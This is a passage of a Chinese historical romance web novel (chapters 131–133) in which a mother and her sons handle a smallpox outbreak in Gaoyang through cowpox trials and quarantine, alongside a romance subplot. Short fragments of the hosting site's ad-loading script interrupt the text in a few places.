苏若琳这才勉强松了口气。 毕竟老爷子腿都瘸了,留在这也没什么用。 她严厉地目光扫过跪在地上的三个鹌鹑,知晓命令已经下去了,木已成舟,再变卦也不可能了。 苏若琳无奈地叹了口气:“让你们进城也不是不行。” 闻言,三个好大儿不约而同地抬起头,眼中闪烁着亮光。 “我也去。” 她话音未落,三个好大儿连忙异口同声道:“不行!” “怎么不行?”苏若琳皱眉看着三个小混蛋,“牛痘这方子是我发现的,没人比我更了解牛痘,我才是最应该进城的才对。” “太危险了!”杨纨玦焦急地看着母亲,“您若有个闪失可怎么办?” 杨纨枫小声附和道:“您也只是知道个方子罢了,也未曾真的见过牛痘啊......” “杨纨枫!”苏若琳气得抄起木板子,这臭小子已经这么没大没小了! 杨纨枫乖乖地把那只已经被打肿的手递了上去,只是脸上的神色也同样坚定:“我也不赞成母亲您去。” 他把手主动递了上来,苏若琳看着这孩子已经红肿的手心,反而狠不下心再打了,最后只好把木板往桌上重重一拍。 “你们不愿我去,难道我就愿意你们去?”她重重地叹了口气,“于情,你们觉得我能看着三个儿子都身赴险地,自己却高枕无忧吗?” “于理,这个牛痘既是我所提,那我也有责任确保它真的是救命的良药,而非天花的帮凶。” “昔日京城那一战,我未曾拦过你们两个,这次我也不拦你们,但是你们也别拦着我。” 这般说着,她转过身不再看向三个儿子,摆了摆手道:“行了,你们三个滚下去吧。” 杨纨玦和杨纨枫求救似的看向萧怀琳,祈祷大哥也能说句话劝劝母亲。 杨纨玦拽了拽他的袖子,小声道:“大哥,你也说句话啊!” 萧怀琳却苦笑一声。 只见他站起身,重重地叹了口气:“明日午时我们就要进城了,军医那里还有些防疫的草药,我待会让人送过来,你进城前千万先内服外敷都做好。” 背对着他们的苏若琳这才微微勾起了唇角,语气中多了几分愉悦:“这还差不多。” 杨纨玦和杨纨枫呆呆地看着他们大哥,直到俩人被后者拽出去了以后,都没能缓过神来。 大哥居然把他们卖了! “不是,大哥你为什么要答应母亲啊!”等三人出了苏若琳的军帐,杨纨玦不禁焦急地问道。 萧怀琳看了两个弟弟一眼。 这俩小子真是关心则乱了,若琳的性子,他们难道不清楚吗? “你们比我呆在母亲身边的时间长,应当是知道的,但凡是母亲认定的事情,有谁能拦得住吗?” 闻言,杨纨玦和杨纨枫不约而同陷入了沉默。 是了,当初大姐失踪,母亲连续找了三年都不曾放弃;后来京城被袭,母亲也坚持留在府里,绝不离开。 萧怀琳苦笑道:“我看,你俩的性子也都和母亲差不多。” “你不也是。”杨纨枫幽幽道,眼底浮现出一丝埋怨的神色。 “好好好,我也是。”萧怀琳笑着摇头,“咱哥仨都差不多,也就纨岚那小子没那么倔。” 他见两个弟弟一脸颓样,有些无奈地笑了:“不过你们两个放心,即便母亲进了城,我也肯定不会让她随便乱跑的。” “怎么?”杨纨玦看向他,“难不成你还能把母亲关......” 他话音未落,蓦地瞪大眼睛,压低声音道:“不会吧?” 大哥能关得住母亲? 三兄弟不约而同地回头看了一眼军帐,萧怀琳低声道:“换个地方。” “好。” ...... 萧军的主力部队是上午离开的,等到临走的时候,祝贤盛知晓苏若琳要留下来,气得脸都红了。 苏若琳吓得连忙躲在三个儿子后边,祝贤盛拄着拐要把她拽走,她就绕着三个儿子跑,和老爷子兜圈子。 最后老爷子发了好大一通脾气,但还是被送走了。 望着主力部队远去的影子,苏若琳劫后余生地拍着胸口,长长地舒了口气。 活下来了啊活下来了。 萧怀琳不由得轻笑出了声。 苏若琳瞪了他一眼:“笑什么笑!” 随着心上人的这一瞪,右手仿佛应激似的,掌心又开始隐隐作痛起来,好大儿兼情郎连忙又重新抿起嘴角。 杨纨玦和杨纨枫的目光在母亲和大哥之间来回转换,神色复杂。 等到萧军的主力部队离开后,留下来的人便开始收帐整顿,准备进城了。 至午时,城门打开,皋阳县令也在城门后等候多时。 待看清了站在人群最前方的那个年轻身影时,杨纨枫不由得瞪大眼睛。 贺章之?! 贺章之同样也诧异地望着他。 自当初殿试一别后,双方都没想到竟还能再度遇见。 还是在这被天花肆虐的死亡之地。 萧怀琳没见过贺章之,不过后者望向纨枫眼中的诧异他还是看得清清楚楚的,他并未作声,天花当前,私事暂且先抛到一边,还是要紧着正事先处理。 苏若琳是坐在马车里进的城,萧怀琳给青夭下了死令,在马车进到皋阳安排好的府邸前,绝对不能让她出马车,探出个头都不行。 她想偷偷地拉开门板看看外边是啥情况,还没等开出一条缝,就被青夭给拉了回去。 随后青夭又递上了一碗药汁:“夫人,该喝药了。” “这已经是第三碗了!”苏若琳苦着脸道。 “军医嘱咐过了,五碗以内都不会有副作用。”青夭的眼中闪烁着不容置疑的神色,“喝完这一碗,您还要在外面再抹一层药汁,皋阳城内天花肆虐,谨慎些总没错的。” “......”苏若琳心里苦,但是她没法说。 最后只好绝望地接过那碗药汁,悲壮地一饮而尽。 眼看着苏若琳的马车逐渐远去了,萧怀琳他们这才纷纷下马,跟着贺章之去巡视城里,了解天花肆虐的情况。 见到城内感染天花的百姓都被规规矩矩地隔离到了一处,用围栏围了起来,城内的大多数大夫都呆在隔离区内,用布料捂住口鼻,在里面忙碌着。 每日还有感染天花痊愈的人来给这些病患送饭,这些病患知晓县令没有放弃他们,也还甘愿待在围栏内,不掀起暴乱。 因此这座城的疫情竟然控制得还不错。 杨纨枫意外地看了贺章之一眼:“这些法子是你想出来的?” 贺章之轻咳了几声,不自然地瞥向他处:“你的策论里.......有写过,照猫画虎我还是会的。” 杨纨枫的眼中闪过几分诧异。 其实最让他意想不到的,是贺章之当初明明视人命为草芥,如今皋阳面对如此险峻的境况,他 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 非但没有弃城而逃,反而真的担起了地方父母官的责任。 “你这么看着我做什么!”察觉到杨纨枫意味深长的目光,贺章之那张白皙的脸可疑地红了,“我从前是有很多不懂的地方,但是......” “古人云:士别三日,当刮目相看!” 杨纨枫不由得问道:“那你怎么会是皋阳的县令?我记得先前萧军收复皋阳时,县令还不是你啊。” 贺章之的唇角勾起了一抹讽刺的笑容:“原本的县令跑了。” 此言一出,众人皆静默了。 “不过。”贺章之又道,“他还没跑出去多远,就被百姓拖了回来,乱棍打死了。” 众人:?! “暴动么?”杨纨玦诧异地看着他,“那你没事?” 然而贺章之却看向杨纨枫:“有时候我不得不承认,你说得很多话是对的。” “什么话?”杨纨枫淡淡地问道。 “水能载舟亦能覆舟,得民心者得天下。”贺章之苦笑,“若是我还如同当初那般做派,下场只怕比那个县令更惨。” 闻言,杨纨枫歪头看着他,忽得莞尔笑了。 “所以你被百姓们推举做了县令?还是自封的?” “当然是被推举的!”贺章之说着小心翼翼地瞥了身旁的未来皇帝一眼,“我还没那么大胆。” 萧怀琳察觉到了他的目光,脸上并未显露出什么。 皋阳城内如今的情况比他想象中的要好,他让军医将牛痘的事讲了出来,贺章之当即惊讶道:“感染了天花的牛都被圈在了另一处,本来是等宰杀之后给病患们用作三餐,原来竟能救人吗!” “我这就带你们去!” 等他们到了圈牛的地方,感染了天花的牛也没剩几只了。 牛在当时本就是极为贵重的,本朝甚至有禁止宰杀牛的律法,皋阳闭城也有小半个月了,一是因着消息传不出去,贺章之才敢下令杀牛;二也是因为城内的真的粮食不多了。 若是萧怀琳他们如今没有来,只怕再过几日城内粮食便会耗尽,届时会发生什么,根本难以想象。 此时,负责宰牛的人正好准备宰牛,贺章之连忙亲自上去拦了下来:“等等,住手!” 那人闻言疑惑地回过头:“怎么了县令?” 他话音未落,便见到后边跟着一堆人走了过来,为首的三位虽年轻,却皆锦衣华服、气势凌厉。 明明面上未见喜怒,然而一眼望过去,便又不由得被震慑得双腿发软。 本来仅仅是其中一位就够恐怖了,偏偏这气势凌厉的三位还站到了一起。 负责宰牛的人吓得腿不住地颤抖,结结巴巴道:“这,这几位是......?” “京城来的贵人们。”贺章之摆了摆手,让人把圈牛的围栏打开,“这几头牛是治天花的关键,得留着,你以后不用来宰牛了。” “那,那咱的钱和粮食......” “尽数付给你,去官府报就行,就说是我说的。” 闻言,那人迅速将恐惧抛在了脑后,欢天喜地地跑了。 “好嘞!谢谢县令!” 贺章之轻咳了一声:“皋阳城内如今粮食实在所剩不多,只好宰些病牛,还望王爷宽恕。” 杨纨枫见他脸色变得有些苍白,不禁道:“你这一路上咳嗽好几次了,是不是也该找大夫看看?” 贺章之忙摆摆手:“我就是累得,没有大碍。” 萧怀琳朝身后的军师吩咐了一声,那名军师领命去散粮了。 末了,萧怀琳又道:“我已经派部下去周边城池调粮了,三日内粮食必能进城。” 贺章之忙拱手作揖:“下官替皋阳百姓感谢王爷。” 杨纨枫再次露出了一个微笑:“你真的变了。” “都说了,士别三日!”贺章之羞愤地看着他。 杨纨枫含笑着点头。 “种牛痘的事,尽快安排。”萧怀琳淡淡地吩咐了一句。 “下官遵命!” 131. 滑跪 苏若琳也想出府帮忙,但是青夭不让。 “王爷说了,在他回来之前,您不能离开院子。” “什么意思?”苏若琳瞪大眼睛看着她,“你是说萧怀琳不让我出去?!” 夫人的目光里七分的不可思议中带着三分的凌厉,一向沉稳的青夭都不禁额头冒起了冷汗:“王,王爷说,他先去探探外边情况,若是无甚危急,待他归来以后亲自向您赔罪。” “所以他就敢禁我的足?!” 苏若琳气得牙痒痒,这混蛋真是好样的,连他母亲的足都敢禁了! 正在气头上的时候,青夭又端了一碗药汁过来。 她直接把青夭赶了出去:“喝什么喝,出都出不去,喝药有什么用!” 傍晚时分,萧怀琳刚回到府邸,就听到了苏若琳拒绝喝药的消息。 他一早就能猜到这么个结果,先去自己的院子里换了身干净的衣服,吩咐下人把换下来的衣服烧了,又往全身的肌肤上抹了一遍药汁,这才小心翼翼地往苏若琳的院子走去。 一进院子,便见到所有的丫鬟都跪在院子里,声势浩大。 最前面的青夭见到他来,就着跪着的姿势行了个大礼:“王爷。” 其他丫鬟也连忙纷纷跟着想要行礼,忙被萧怀琳抬手制止了。 他一见这阵势就知道若琳肯定正在盛怒之中,凑到青夭身边小声道:“夫人在屋里吗?” 生怕声音再稍微大一点,屋里的心上人就能抱着刀杀出来。 青夭点了点头:“夫人说了,何时能出府,何时才愿意喝药。” 萧怀琳幽幽地叹了口气,悄悄地推开屋门走了进去:“若琳?” 没有人回应他。 他又小心翼翼地走进内间,刚一掀开门帘,一个瓷碗就朝着他的面门飞了过来。 萧怀琳连忙抬手接住瓷碗,里面的药汁一滴未洒。 彼时苏若琳还维持着扔碗的动作,胸口剧烈起伏着,看起来是气得真够呛。 见到对方居然接得这般稳,她深吸了一口气,勉强没让自己直接发火,皮笑肉不笑地看着对方:“王爷可真是好身手啊。” 萧怀琳将盛着药汁的碗放到桌上,然后一秒滑跪到心上人脚边,白皙的俊脸上露出一个讨好的笑容:“若琳你消消气,气坏了身子就不好了。” “呵。”苏若琳冷笑一声,“我怎么敢生王爷的气,今日王爷只是下令禁了我的足,我要是敢冲王爷发火,明日王爷说不定就要下令砍我的头了!” 听着心上人阴阳怪气的话语,萧怀琳心里逐渐不是滋味:“今日是我的不对,不该把你关在屋子里。” “您可别知道错了。”苏若琳的目光冰冷异常,“事该做的都做完了,轻飘飘的一句道歉能当饭吃啊?” 萧怀琳沉默了片刻,只好叹了口气,跟心上人解释道:“在进城前,谁也不知道皋阳城内到底是个什么情况,我原本是想着你先在府里待一日,待我先把皋阳城的疫情摸清楚了,你再出来,多少能更加安全些。” “这么说来,你肯定觉得你还是为我好了是吧?”苏若琳目光如炬,直直地看着萧怀琳。 这还是后者第一次见到心上人的眼中流露出幽深的神色,那一双秀丽的眼眸目不转睛地看着自己的眼睛,仿佛一眼望穿了自己的内心。 被这般望着,萧怀琳颓然地低下头,神色晦暗道:“对不起,不会再有下次了。” “萧怀琳。”苏若琳伸出一只素手,轻轻捏住眼前人的下巴,让他抬起头和自己对视,“你觉得你尊重我吗?” 萧怀琳被心上人捏着下巴被迫抬起头,而他的心上人正居高临下地看着他,目光沉静,不带有一丝波澜。 自然是尊重的,怎么会不尊重呢? 眼前姣好的人儿,不仅是他的心上人,还是他曾经的继母,在他至暗人生里照拂过他,给予了他这辈子唯一的一丝光亮。 他不仅尊重,更是尊敬她。 萧怀琳微微张开口,想要解释,却见到他的心上人朱唇轻启。 “你一定觉得你是尊重我的,你纵容我去到你所拥有的任何地方,去窥探你的所有;你邀请我参加你和大臣们的会议,纵容我听到、甚至听懂每一条你和那些臣子的决策;你纵容我打听你的所有秘密,那些你不能亲口跟我讲的秘密,你甚至会为此感到愧疚。” “正如同你当初所说的,你对我不仅是尊重,更是尊敬。”苏若琳微微一笑,眼眸中却带着一丝黯然,“我说的对不对?” 萧怀琳觉得自己的喉咙无比艰涩,艰涩得说不出话。 “可是,纵容本身就是不平等的啊。”苏若琳苦笑着,“你的权势如今在整个大楚无人能及,限制我的自由、剥夺我的意志已经成为了你一句话的事。” “如果我和你在一起时的样子,就仿佛我成了一只依附于你的浮萍一般,那还有什么尊重可言?” 萧怀琳低下头沉默了。 “......我原以为,你和其他人会是不同的。”苏若琳的声音微微颤抖着,“萧怀琳,我是个人,我不是什么猫猫狗狗。” 她以为在她潜移默化之下的这几个孩子,哪怕不能摆脱阶级差异的思想束缚,也至少会和其他人不一样的。 “你对我的喜欢,真的是喜欢,而不是宠爱吗?” “不是的。”萧怀琳悲伤地摇了摇头,声音沙哑,“我喜欢你,我从来没有把你当做我的所有物。” 他从来都只敢小心翼翼地将自己的心碰到心上人面前,他最害怕的就是心上人难过,他怎么敢...... “我知道错了。”萧怀琳低声道,“以后我所有的事情都会找你商量,绝对不会强制你什么。” “若琳,你不要讨厌我......” 少年郎楚楚可怜地看着自己的心上人,那一双秀丽的眼尾微微泛红,仿佛一只即将被抛弃的小狗。 苏若琳微微叹了口气,这小子真是......整得好像他才是受了委屈的那个。 他总是这样,以退为进,自己有时候真的不知道他到底是真的敏感易伤,还是故意针对自己用的计谋。 眼前的这个少年,和当初那个温柔内向的孩子已经完全判若两人了。 过了许久,苏若琳才低声道:“没有下次了。” 少年郎连连点头,又殷切道:“你若是在放心不下,明日我陪你一起出去,我带你去看看那些你不放心的地方,好不好?” “你又不忙了?还有空陪我瞎逛?”苏若琳瞥了他一眼。 “这不是瞎逛。”少年郎缓缓站起身,挨着心上人坐下,将头伏在心上人肩窝,“我办正事从不避讳你,不是纵容你,只是想告诉你,我想尽可能地对你没有秘密。” “我所有的事情你都可以参与进来,随便指手 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 画脚。” “谁要指手画脚!”苏若琳红着一张俏脸推了推他,没推开,反而被他抓住了双手。 少年郎将心上人温软的玉手举到唇边轻吻着,笑得明媚:“你想做就可以做,不想做就不用做,只是我的所有事情永远对你敞开。” 深情的话语像是阵阵春风,不断地撩拨着苏若琳的心弦,汇成了阵阵美妙的乐曲,响彻她的心间。 ......罢了,至少他对自己定然是真心的,这一点苏若琳从未怀疑过。 她俏脸微红,小声嘀咕道:“那明日你带我去。” 少年郎含笑着点头:“嗯。” 苏若琳又道:“我不想喝药。” 少年郎沉吟了片刻,才道:“今日可以不喝,明日出府的时候还是要喝的。” “那就明日再喝。”苏若琳撇了撇嘴。 萧怀琳不禁伸出手揉了揉心上人的发顶,他的若琳闹小性子的时候怎么就这么可爱。 待到深夜,该就寝时,苏若琳推了推紧紧怀抱着她的少年郎:“你该回去睡觉了。” 萧怀琳依依不舍地在心上人脸上蹭了蹭:“你和我一起回去好不好?” 他已经许多日没有抱着心上人睡觉了。 回京的这些时日,他无事不刻不想念着心上人温温软软的触感、令人安心的呼吸声,还有心上人身上那令人心旷神怡的香味。 他喜欢自己常用的熏香和心上人身上的香味混在一起的味道,许久没和心上人待在一起,他几乎都快忘了这种味道了。 苏若琳又推了他一把:“不好。” 粘人精。 “那我留下来好不好?”少年郎可怜巴巴地望着心上人,活像一只还没断奶,离不开母亲的小奶狗。 那更不好了! 苏若琳的额头逐渐冒起青筋。 少年郎敏锐地察觉到了心上人的不耐,那双秀丽的凤目眨巴眨巴,知趣地松开怀抱住心上人的双臂,缓缓站起身。 “那我走了?” 苏若琳也跟着站起身:“我送你。” 少年郎点了点头,目光温柔:“好。” 外面更深露重,苏若琳送少年郎到了院门口。 两人都没有穿外袍,萧怀琳一直站在她的身侧,替她挡下那些冷风。 恰好一阵冷风袭来,苏若琳冷得刚要瑟缩起脖子,忽得一条有力的手臂伸到了她的身后,将她圈进了一个温暖的怀抱。 等到那阵风过去,少年郎才轻轻放开心上人的娇躯,柔声道:“夜里冷,你早些回去休息吧。” 苏若琳轻轻点头,在少年郎温柔的注视下离开。 随后少年郎便转过身,朝着自己的院子走去。 至半路时,明月高悬,忽得一只信鸽飞过天空,一双灵动的小眼珠子转了转,缓缓落到了他的肩上。 他自信鸽的腿上取下纸条,展开一看,上面潦草地写着八个字—— 所有反党尽已伏诛。 而在纸条的背面,是几个栩栩如生的小人。 其中一个小人踩在其余小人的身上,神情得意洋洋;而其余的小人躺着叠成了一堆,或是吐着舌头、或是哭丧着脸。 看完背面的简笔画,萧怀琳又重新将纸条翻转过来,定定地看着正面这八个狗爬一般的字。 他不禁有些扶额。 纨岚这个字啊,是该练练了。 132. 纨岚将归 今日天气很好。 阳光暖暖地打在身上,给这座天花弥漫的死城增添了许多生机。 萧怀琳起得很早,换好衣服以后就来了苏若琳的院子,看着她苦着脸灌下药,又往衣服露出来的肌肤上都抹了一遍药汁之后,才上前来牵起心上人的手。 两人一道出府上了马车,随后马车缓缓拐出巷子,顺着大街往北去了。 道路的两旁空荡荡的一个人也没有,半点动静也听不到,唯有他们的马车行驶在寂静空旷的大街上。 如今这么紧要的关头,谁还敢出门呢? 苏若琳掀开马车的窗帘看着外边荒凉的景色,不由得有些担心:“纨玦和纨枫在哪呢?” 萧怀琳的目光这一路上就没从心上人的身上离开过,此刻闻言,略微沉吟了片刻,道:“城里的药不多,大部队离开时虽说把大部分物资都留下了,但军队里主要备的都是伤药,防病疫的实在少之又少。” “所以现在很缺药材吗?”苏若琳回过头看向他。 少年郎轻轻点头。 “那,不能从周围的城镇里调些药材过来吗?”苏若琳的眉宇间是掩不住的担忧。 少年郎不由得轻轻一笑:“你放心,前日我就下令去调了。” “只是需要时间。” “那药材最快什么时候能送来?”苏若琳又问。 少年郎缓缓起身来到心上人的身边,将她搂进自己的怀里,温声安慰道:“最快明日就能有一支队伍赶回来,你别担心。” 闻言,苏若琳这才松了口气,头往少年郎肩膀上一歪,整个人都靠进了他的怀里。 “不对。”苏若琳猛地回过神,抬头埋怨地看着少年郎,“都被你绕进去了,所以纨玦和纨枫在哪呢?” 话落间,只听得外边“吁”的一声,马车竟缓缓地停下了。 “到了。”萧怀琳含笑看着自己的心上人,“咱们现在就去找他们。” 两人下了马车,映入眼帘的是一个宽阔的马场,在马场的围栏里面支十数个简陋的帐篷,偶尔有帐篷被掀开,能看到用麻布捂住口鼻的人出来,又匆匆走进另一个帐篷。 而在围栏外的几百米处,则盖着一座小院子。 有下人拿着经开水烫过,又用药汁泡得发绿的麻布过来,萧怀琳接过一团麻布,教苏若琳仔细捂住口鼻,随后自己也接过另一团捂好。 两人这才朝着那个小院子走了过去。 那个院子原先应当是养马人居住的,外面盖着许多的马棚,不过如今这个时候,还活着的马早已经被牵走,马棚里也早就被打扫得干干净净,闻不到一点异味。 萧怀琳推开屋门,外边的光随即映到了屋内,给昏暗的屋子增添了许多光亮。 而这光亮也瞬间吸引到了屋内众人的注意,众人抬起头,便见到了一个妙曼的身影缓步走了进来,麻布捂住了她的口鼻,看不清脸庞。 只是单单看那双炯炯有神的眼眸,便能知晓其倾国倾城。 “母亲!”杨纨枫的声音闷在麻布里,听着不甚真切。 但仍旧难掩语气中的焦急。 苏若琳环视四周,见屋里几乎透不进一丝光亮,略微皱了皱眉:“怎么屋里这么暗,不是有薄纱纸吗?” 紫外线也是可以杀菌的。 随后屋子里便又进来一个身着墨蓝色衣袍的俊俏身影,那人身材高挑,同样用抹布捂住口鼻,一双秀丽的眉眼丝毫不逊于方才的绝色女子。 只是那人的目光却是极为冰冷的,唯有在落到方才的女子身上时,才会在顷刻间变得柔和。 当男子也走进屋内时,众人甚至能察觉周围的气氛都跟着变了,仿佛有一道若有若无的寒气透了进来,原本还在低头窃窃私语的那些人登时就安静了。 唯有方才那名女子尚未察觉的异样。 她说着看向侍立在一旁的下人们:“把窗户打开!” 一直不通风怎么行? 闻言,下人们都惊呆了,有个大夫一拍桌子,震怒道:“外边天花肆虐,你居然要开窗子,是想着天花进来我们都染病死吗!” 末了,那大夫还继续斥责:“是谁让这个女流之辈进来的?我等商议救民之事,一个女流之辈进来掺和什么?” 那位大夫说完昂首挺胸,一副很是义正言辞的模样,然而环顾四周,却见到对方都用看傻子一样的目光看着他。 没见到人家是跟着王爷一起进来的么?这人吃了熊心豹子胆,敢和王爷叫板? 果不其然,苏若琳刚要开口跟这老头开撕,忽得身后传来一道淡淡的声音:“是我让她进来的,你有什么意见?” 说罢,还未等那大夫反应过来,萧怀琳便看向一旁还在傻眼的下人:“你们是聋了?” 下人连忙打了个机灵,把窗户给打开了。 那大夫匆匆回过神,到底是没敢和萧怀琳叫板,只是焦急道:“这,这不能打开啊!” 苏若琳白了他一眼:“若是天花真的到了院子里,你以为关上窗户就能挡得住?” “多晒晒太阳,勤通风,才有助于防疫病。” 那大夫气得脸通红:“这都是什么歪理邪说,老朽行医几十年,可从未听说过太阳和风能防天花!” 这时,萧军的军医小声提醒他:“刘大夫,这牛痘的法子,便是苏小姐发现的。” 那大夫愣愣地看了军医一眼,屋内陷入了诡异的沉默。 杨纨枫冷笑了一声,和身旁的杨纨玦一同站起身,带母亲和兄长出了屋子。 等到屋门被重新关上,四个人面对着面,全都捂着脸,看起来有几分滑稽。 苏若琳被莫名戳中了笑点,笑个不停。 “您来这里做什么!”杨纨玦的眉眼间满是忧虑,“这里危险啊!” 而杨纨枫则是幽怨地看了大哥一眼。 萧怀琳有些无奈地耸了耸肩。 他太清楚了,不见棺材不掉泪,他的心上人若是不能来这里亲眼看一看,是不会甘心的。 苏若琳忙替他解释:“是我坚持要来的,你们两个在这里,我实在担心啊。” 她这般说着,担忧地看向两个儿子:“你们怎么在这里开会?这里离病灾区这么近?” 两个儿子对视了一眼,杨纨枫解释道:“昨日我们给几个染了天花的百姓种了牛痘,如今要把这些人单独划出来重点观察。” “那……观察的如何了?”苏若琳紧张地握紧拳头。 牛痘的潜伏期应当是和天花差不多吧,少说也得有个十来天吧? 等个十来天不显病不可怕,可怕的是若是接种了牛痘,没过几日天花的病情就加重了,这才是最可怕的。 杨纨玦苦笑着,回答和苏若琳所预想的差不多。 “哪有那么快的呢?军医和城内的大夫们都说了,要见成效,还得先等个十来日。” 苏若琳这才松了口气:“那还挺好的。” 然而杨纨玦和杨纨枫两兄弟却不这么认为。 或者说,他们眼里的焦急更加迫切了几分。 “大哥。”杨纨枫看向萧怀琳,“我记得你昨日说过,最快的一批药材明日能送到,对吗?” 萧怀琳点了点头:“若是没因为什么事耽误的话,明日午时便能送到。” “那就还能坚持得下来。”杨纨玦眼中的神色总算多了几分沉静。 要把这些种了牛痘的人单独划出来观察,首先就要保证他们能受到良好的照顾,千万因为自己的身体原因提前死掉。 因此,城内现有的药材都得先紧着这些人用。 方才他们开会,就是在商议仅有的这些药材的分配问题。 苏若琳从两个儿子口中仔细地询问了这些病患的病情,得知还算情况稳定,她这才稍稍放下心来。 急是没有用的,先等些日子再说吧。 稍微聊过了一会,两个儿子就要把母亲快些赶出去,这里实在危险,不怕一万就怕万一。 苏若琳又不由得仔细叮嘱他们小心些,千万注意不要染上天花,这才肯离开。 萧怀琳又带着她去了城里的其他地方,把城里各处都大致摸清楚了。 途径一个拐角,苏若琳好奇地望着城墙附近的一个角落:“那是干什么的?” 萧怀琳却连忙放下马车的窗帘,将她揽进了怀里:“那里太危险了,不能去。” 苏若琳秀眉一挑,不由得疑惑道:“如今哪里还能比纨玦和纨枫他们待的那个地方更危险?”

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > “就是方才那个地方了。”萧怀琳淡淡道,“那里是烧尸体的地方,所有染了天花而死的人都在那里被烧干净。” 此言一出,苏若琳这才后知后觉地惊出了一身冷汗。 染了天花而死的尸体,那真的是比正在抵抗天花的活人更可怕。 正想着,她的头顶处传来的一阵温暖的触感。 原来是少年郎伸出了满是伤疤的大手,宠溺地揉了揉她的发顶。 “好了,该看的都已经看完了,咱们该回府了吧?” “嗯。”苏若琳闷闷地点了点头。 她忽然觉得自己什么也做不了。 若是伤员,她至少还能做些包扎之类的活。 可是天花感染性那么强,如今正呆在那些病灾区的大夫都是精通医学的,都几乎是在赌着自己的性命…… 她还是比较惜命的。 萧怀琳见她一副萎靡的模样,不由得问道:“情况不是还好么,怎么又不高兴了?” 苏若琳趴在少年郎的怀里,闷闷不乐道:“我感觉自己什么也做不了。” 萧怀琳不由得失笑,他们三个可是早就说了要把她送走的,是这丫头自己偏要坚持留下来的。 不过他也不好打击自己的心上人,开玩笑似的安慰道:“你留在这里陪着我,至少万一我也染上天花了,还愿意挣扎一下,不至于放任自己自生自灭。” 苏若琳依旧是那副蔫蔫的样子,撇了撇嘴。 “这个玩笑一点也不好笑。” 好吧,看起来似乎适得其反了。 萧怀琳绞尽脑汁思索了许久,忽然道:“你想不想纨岚了?” 苏若琳原本暗淡的眼神瞬间变得激动了起来:“你知道他在哪?!” 她当然想了!能不想吗! 那臭小子已经多久没给她来消息了! 她甚至连这臭小子是生是死都不清楚…… 这般想着,她不由得抓住了少年郎的衣袖,催促地问道:“你快说啊,他人在哪!” 萧怀琳悠悠地吐出了一句:“我也不知道。” 苏若琳:…… 他是不是还以为他很幽默? “呵呵。”她干笑了两声。 萧怀琳见到心上人败兴的模样,不由得轻笑:“但是我知道,他正在往这里来。” “什么?!”苏若琳又重新抬起头,“怎么他也要来皋阳了!” 这一个个的小混蛋,好的地方不去,死人的地儿倒是争着抢着往这里钻! 萧怀琳温声向心上人解释着:“他来送药材。” 他昨夜已经放飞信鸽给那小子递了信,既然反党已经清剿完毕,那小子离家也有很长一段时间了,如今便也该回来了。 正好让那小子再顺路运些药材过来。 而萧怀琳这话也是恰巧提醒苏若琳了,她都差点忘了,纨岚那小子当初是跟着她父亲的商队走的,如今利用商队走南闯北的便利运送药材最合适不过了。 苏若琳不禁问道:“我要不要也给我父亲写封信,让他令附近的商队送些药材过来?” “药材的事你不用担心,所有能动用的路子我都已经安排下去了。”萧怀琳眉眼弯弯地看着自己的心上人。 “你倒是处理得全面。”苏若琳枕着少年郎宽阔的肩膀,在他怀里换了个姿势,“那纨岚大概什么时候能到?” “约莫也得有个五六日吧。”萧怀琳沉吟道,“他凑集药材也需要些时日。” “那也蛮快的了。” 苏若琳忽得皱起眉头,她总觉得哪里不对。 “......所以,你和纨岚一直都有联络?”苏若琳瞪着他,“你和纨岚是怎么联系上的,那个臭小子都已经多久没给家里寄过信了!” 苏家是有自己的联络网的,纨岚若是想动用联络网给家里送信,父亲和兄长都没道理不许,可是那个臭小子自京城那战之后,就再也没有给家里来过信。 那小子也是个翅膀硬的,不挂念着家里人,反倒是背地里先和萧怀琳这个混蛋联系上了。 她伸出手揪住少年郎的衣领,大有一副对方若是不解释清楚,她就不依不饶的架势:“老实交代,你和纨岚那个臭小子什么时候相认的!” 133. 改口 萧怀琳的脸上不禁浮现出无奈的神色:“我和他没有相认。” “我若是早就告知了别人此事,怎么可能还会对你隐瞒呢?”萧怀琳伸出手,将心上人鬓间的一缕碎发别至耳后,声音是一如既往的温柔,“对别人隐瞒的事,我不必对你隐瞒;可是若你都没法知道的事,那我就更不可能让别人知道了。” “我怎么可能让别人越过你去?” 这话说得着实深情,少年郎的语气更是无比恳切,苏若琳望着少年郎那副眉目含情的模样,不禁在心里暗骂一声。 这小子惯会花言巧语。 可是那有怎么样呢,她就是吃这一套。 苏若琳不自然地别过眼睛:“那,那他......” “他自然是只把我当做宁安王的。”萧怀琳轻笑着,“那小子兼济天下、关怀苍生,与我志同道合,又因着苏家已经选择了站在我这边,于是他便顺理成章为我所用了。” 苏若琳冷哼了一声,双手环胸道:“这么大的事,那小子居然一个字没跟家里提。” 他最好别来,若是真的来了,自己非得给那小子剥皮抽筋不可。 “那等他回来了以后,你好好教训他好不好?”萧怀琳附到心上人的耳边轻声道,“让那小子吃点教训,然后把他给扣下,让他跟着你一起回京。” 苏若琳赞同地点了点头,这倒是不错。 这臭小子在外边野了也有一年了,总得回家看看吧。 萧怀琳见状,才含笑着问道:“不伤心了?” “不伤心了。”苏若琳没好气道。 本来留在这里就是为了陪着这几个臭小子,能提出一个牛痘,已经算是她最大的用处了。 “那咱们就回府了?” “哦。”苏若琳重新窝回到了少年郎的怀里,闷闷道 少年郎笑着揉了揉心上人的发顶,马车渐渐在大街上驶远了。 · 自从回了府以后,苏若琳便在数着日子期盼着。 也不知道那小子如今长成什么样了。 长高了没?在外边胖了还是瘦了?整天风吹日晒的,是不是都晒黑了? 从前那小子离家的时候,脸上还是带着点婴儿肥的,也不知道如今五官张开了没。 只是瞧着纨枫如今的模样,清朗俊逸,便能类比出那小子应该也出落得不差吧。 自从那日萧怀琳带着她在城里逛了一圈之后,苏若琳便知趣地再也不随便往外边跑了。 她去了也帮不上忙,反而出了门还要浪费药,干脆就老实在府里待着吧。 不过这三个混小子的体质还真是不错,天天往病灾区跑也没见有个什么咳嗽喷嚏。 苏若琳不由得松了口气,又颇有些自豪。 这三个小子毕竟是她养出来的! 就算只养了一段时间,那也是养过的! 负责运送药材和粮食的队伍已经往皋阳来过好几批了,粮食如今倒是十分充足,只是药材依旧不够用。 